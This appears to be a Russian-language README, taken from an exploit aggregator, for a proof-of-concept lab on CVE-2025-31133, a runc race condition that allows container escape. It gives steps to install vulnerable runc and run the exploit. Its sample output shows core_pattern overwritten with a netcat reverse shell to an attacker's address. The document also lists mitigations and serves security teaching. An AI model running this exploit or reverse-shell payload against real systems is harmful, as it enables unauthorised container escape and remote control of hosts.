## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C-H4CK-0-LEARN-ABOUT-CVE-2025-31133-POC
# Learn-about-cve-2025-31133-poc
## Обзор
Демонстрация доказательства концепции (PoC) и учебная среда для **CVE-2025-31133** — уязвимости безопасности в runc, позволяющей обойти защиту `maskedPaths` через состояние гонки. `maskedPaths` предназначены для предотвращения доступа контейнеров к чувствительным путям файловой системы хоста.
https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910
👉 Этот репозиторий — практический пример того же исследовательского подхода и техник, которые преподаются на тренинге Black Hat:
# Если вам это интересно, это лишь вершина айсберга.
### Offensive Container Security: A Masterclass in Breaking the Boundaries (Наступательная безопасность контейнеров: Мастер-класс по преодолению границ)
#### 📅 Даты тренинга Black Hat USA 2026:
#### 1–2 августа
https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-50910
#### 3–4 августа
https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-509101770251750
### Детали уязвимости
* **CVE ID** : CVE-2025-31133
* **Компонент** : runc (среда выполнения контейнеров)
* **Вектор атаки** : Состояние гонки в обработке maskedPaths
* **Воздействие** : Побег из контейнера
### Как это работает
Эксплойт использует состояние гонки, при котором:
1. Контейнер настроен с `maskedPaths` для защиты чувствительных файлов (например, `/proc/sys/kernel/core_pattern`)
2. Во время инициализации контейнера возникает состояние гонки между:
* Удалением узла устройства (`/dev/null`) в корневой файловой системе контейнера
* Повторным созданием этого узла устройства
3. Это временное окно позволяет обойти защиту maskedPaths
4. Атакующий может записывать данные в защищённые файлы, которые должны быть скрыты
## ⚠️ Отказ от ответственности
**Данный репозиторий предназначен только для образовательных целей.**
* Используйте только в изолированных контролируемых средах
* Не применяйте против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения
* Автор не несёт ответственности за любое неправомерное использование данного кода
* Этот эксплойт может вызвать нестабильность системы или потерю данных
## Предварительные требования
* Система Linux (рекомендуется Ubuntu)
* Root/sudo доступ
* Подключение к интернету
* Базовое понимание сред выполнения контейнеров и безопасности
## Настройка
### 1\. Клонируйте или скачайте этот репозиторий
root@kitploit:~
git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc
### 2\. Запустите скрипт настройки лаборатории
Скрипт `lab-setup.sh` выполнит:
* Установку зависимостей
* Установку уязвимой версии runc v1.2.0
root@kitploit:~
chmod +x lab-setup.sh
./lab-setup.sh
### 3\. Проверьте настройку
Убедитесь, что установлена уязвимая версия runc:
root@kitploit:~
runc --version
Вы должны увидеть версию `1.2.0` или подобную.
## Запуск эксплойта
### Базовое использование
1. **Запустите слушатель** на вашей атакующей машине для получения обратного шелла:
root@kitploit:~
nc -lnvp <PORT>
2. **Запустите скрипт эксплойта** :
root@kitploit:~
chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh
3. **Укажите запрашиваемую информацию** :
* IP-адрес атакующего
* Порт атакующего (на котором запущен ваш слушатель)
### Ожидаемый вывод
В случае успеха вы должны увидеть:
root@kitploit:~
[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148: 7068 Segmentation fault (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.
На ваш слушатель должно установиться соединение обратного шелла.
## Меры защиты
Для защиты от данной уязвимости:
1. **Обновите runc** до исправленной версии (v1.2.1 или новее)
2. **Регулярно обновляйте среды выполнения контейнеров**
3. **Используйте принцип минимальных привилегий** — запускайте контейнеры в пространстве имён пользователя без прав root
## Ссылки
* Архив списка рассылки
* Репозиторий PoC уязвимости на GitHub
## Примечания
* Из-за природы состояния гонки эксплойт может потребовать нескольких попыток для успеха
* Вероятность успеха зависит от загрузки системы и времени
* Скрипт автоматически восстанавливает исходный `core_pattern` после успешной эксплуатации
* Очистка выполняется автоматически через обработчики сигналов (trap)
## Лицензия
Этот проект предоставлен для образовательных целей. Используйте ответственно и этично.
* * *
**Помните** : Всегда используйте инструменты исследования безопасности ответственно и только в средах, которыми вы владеете или на тестирование которых имеете явное разрешение.